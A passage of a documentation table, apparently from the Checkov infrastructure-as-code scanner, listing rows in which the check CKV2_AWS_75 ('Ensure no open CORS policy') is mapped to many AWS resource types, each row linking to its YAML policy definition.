CKV2_AWS_75 | resource | aws_cur_report_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 530 | CKV2_AWS_75 | resource | aws_customer_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 531 | CKV2_AWS_75 | resource | aws_customerprofiles_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 532 | CKV2_AWS_75 | resource | aws_customerprofiles_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 533 | CKV2_AWS_75 | resource | aws_dataexchange_data_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 534 | CKV2_AWS_75 | resource | aws_dataexchange_revision | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 535 | CKV2_AWS_75 | resource | aws_datapipeline_pipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 536 | CKV2_AWS_75 | resource | aws_datapipeline_pipeline_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 537 | CKV2_AWS_75 | resource | aws_datasync_agent | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 538 | CKV2_AWS_75 | resource | aws_datasync_location_azure_blob | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 539 | CKV2_AWS_75 | resource | aws_datasync_location_efs | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 540 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_lustre_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 541 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_ontap_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 542 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_openzfs_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 543 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_windows_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 544 | CKV2_AWS_75 | resource | aws_datasync_location_hdfs | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 545 | CKV2_AWS_75 | resource | aws_datasync_location_nfs | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 546 | CKV2_AWS_75 | resource | aws_datasync_location_object_storage | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 547 | CKV2_AWS_75 | resource | aws_datasync_location_s3 | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 548 | CKV2_AWS_75 | resource | aws_datasync_location_smb | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 549 | CKV2_AWS_75 | resource | aws_datasync_task | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 550 | CKV2_AWS_75 | resource | aws_datazone_asset_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 551 | CKV2_AWS_75 | resource | aws_datazone_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 552 | CKV2_AWS_75 | resource | aws_datazone_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 553 | CKV2_AWS_75 | resource | aws_datazone_environment_blueprint_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 554 | CKV2_AWS_75 | resource | aws_datazone_environment_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 555 | CKV2_AWS_75 | resource | aws_datazone_form_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 556 | CKV2_AWS_75 | resource | aws_datazone_glossary | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 557 | CKV2_AWS_75 | resource | aws_datazone_glossary_term | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 558 | CKV2_AWS_75 | resource | aws_datazone_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 559 | CKV2_AWS_75 | resource | aws_datazone_user_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 560 | CKV2_AWS_75 | resource | aws_dax_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 561 | CKV2_AWS_75 | resource | aws_dax_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 562 | CKV2_AWS_75 | resource | aws_dax_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 563 | CKV2_AWS_75 | resource | aws_db_cluster_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 564 | CKV2_AWS_75 | resource | aws_db_event_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 565 | CKV2_AWS_75 | resource | aws_db_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 566 | CKV2_AWS_75 | resource | aws_db_instance_automated_backups_replication | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 567 | CKV2_AWS_75 | resource | aws_db_instance_role_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 568 | CKV2_AWS_75 | resource | aws_db_option_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 569 | CKV2_AWS_75 | resource | aws_db_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 570 | CKV2_AWS_75 | resource | aws_db_proxy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 571 | CKV2_AWS_75 | resource | aws_db_proxy_default_target_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 572 | CKV2_AWS_75 | resource | aws_db_proxy_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 573 | CKV2_AWS_75 | resource | aws_db_proxy_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 574 | CKV2_AWS_75 | resource | aws_db_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 575 | CKV2_AWS_75 | resource | aws_db_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 576 | CKV2_AWS_75 | resource | aws_db_snapshot_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 577 | CKV2_AWS_75 | resource | aws_db_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 578 | CKV2_AWS_75 | resource | aws_default_network_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 579 | CKV2_AWS_75 | resource | aws_default_route_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 580 | CKV2_AWS_75 | resource | aws_default_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 581 | CKV2_AWS_75 | resource | aws_default_subnet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 582 | CKV2_AWS_75 | resource | aws_default_vpc | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 583 | CKV2_AWS_75 | resource | aws_default_vpc_dhcp_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 584 | CKV2_AWS_75 | resource | aws_detective_graph | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 585 | CKV2_AWS_75 | resource | aws_detective_invitation_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 586 | CKV2_AWS_75 | resource | aws_detective_member | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 587 | CKV2_AWS_75 | resource | aws_detective_organization_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 588 | CKV2_AWS_75 | resource | aws_detective_organization_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 589 | CKV2_AWS_75 | resource | aws_devicefarm_device_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 590 | CKV2_AWS_75 | resource | aws_devicefarm_instance_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 591 | CKV2_AWS_75 | resource | aws_devicefarm_network_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 592 | CKV2_AWS_75 | resource | aws_devicefarm_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 593 | CKV2_AWS_75 | resource | aws_devicefarm_test_grid_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 594 | CKV2_AWS_75 | resource | aws_devicefarm_upload | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 595 | CKV2_AWS_75 | resource | aws_devopsguru_event_sources_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 596 | CKV2_AWS_75 | resource | aws_devopsguru_notification_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 597 | CKV2_AWS_75 | resource | aws_devopsguru_resource_collection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 598 | CKV2_AWS_75 | resource | aws_devopsguru_service_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 599 | CKV2_AWS_75 | resource | aws_directory_service_conditional_forwarder | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 600 | CKV2_AWS_75 | resource | aws_directory_service_directory | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 601 | CKV2_AWS_75 | resource | aws_directory_service_log_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 602 | CKV2_AWS_75 | resource | aws_directory_service_radius_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 603 | CKV2_AWS_75 | resource | aws_directory_service_region | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 604 | CKV2_AWS_75 | resource | aws_directory_service_shared_directory | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 605 | CKV2_AWS_75 | resource | aws_directory_service_shared_directory_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 606 | CKV2_AWS_75 | resource | aws_directory_service_trust | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 607 | CKV2_AWS_75 | resource | aws_dlm_lifecycle_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 608 | CKV2_AWS_75 | resource | aws_dms_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 609 | CKV2_AWS_75 | resource | aws_dms_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 610 | CKV2_AWS_75 | resource | aws_dms_event_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 611 | CKV2_AWS_75 | resource | aws_dms_replication_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 612 | CKV2_AWS_75 | resource | aws_dms_replication_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 613 | CKV2_AWS_75 | resource | aws_dms_replication_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 614 | CKV2_AWS_75 | resource | aws_dms_replication_task | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 615 | CKV2_AWS_75 | resource | aws_dms_s3_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 616 | CKV2_AWS_75 | resource | aws_docdb_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 617 | CKV2_AWS_75 | resource | aws_docdb_cluster_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 618 | CKV2_AWS_75 | resource | aws_docdb_cluster_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 619 | CKV2_AWS_75 | resource | aws_docdb_cluster_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 620 | CKV2_AWS_75 | resource | aws_docdb_event_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 621 | CKV2_AWS_75 | resource | aws_docdb_global_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 622 | CKV2_AWS_75 | resource | aws_docdb_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 623 | CKV2_AWS_75 | resource | aws_docdbelastic_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 624 | CKV2_AWS_75 | resource | aws_drs_replication_configuration_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 625 | CKV2_AWS_75 | resource | aws_dx_bgp_peer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 626 | CKV2_AWS_75 | resource | aws_dx_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 627 | CKV2_AWS_75 | resource | aws_dx_connection_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 628 | CKV2_AWS_75 | resource | aws_dx_connection_confirmation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 629 | CKV2_AWS_75 | resource | aws_dx_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 630 | CKV2_AWS_75 | resource | aws_dx_gateway_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 631 | CKV2_AWS_75 | resource | aws_dx_gateway_association_proposal | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 632 | CKV2_AWS_75 | resource | aws_dx_hosted_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 633 | CKV2_AWS_75 | resource | aws_dx_hosted_private_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 634 | CKV2_AWS_75 | resource | aws_dx_hosted_private_virtual_interface_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 635 | CKV2_AWS_75 | resource | aws_dx_hosted_public_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 636 | CKV2_AWS_75 | resource | aws_dx_hosted_public_virtual_interface_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 637 | CKV2_AWS_75 | resource | aws_dx_hosted_transit_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 638 | CKV2_AWS_75 | resource | aws_dx_hosted_transit_virtual_interface_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 639 | CKV2_AWS_75 | resource | aws_dx_lag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 640 | CKV2_AWS_75 | resource | aws_dx_macsec_key_association | Ensure no open CORS policy | Cloudformation | 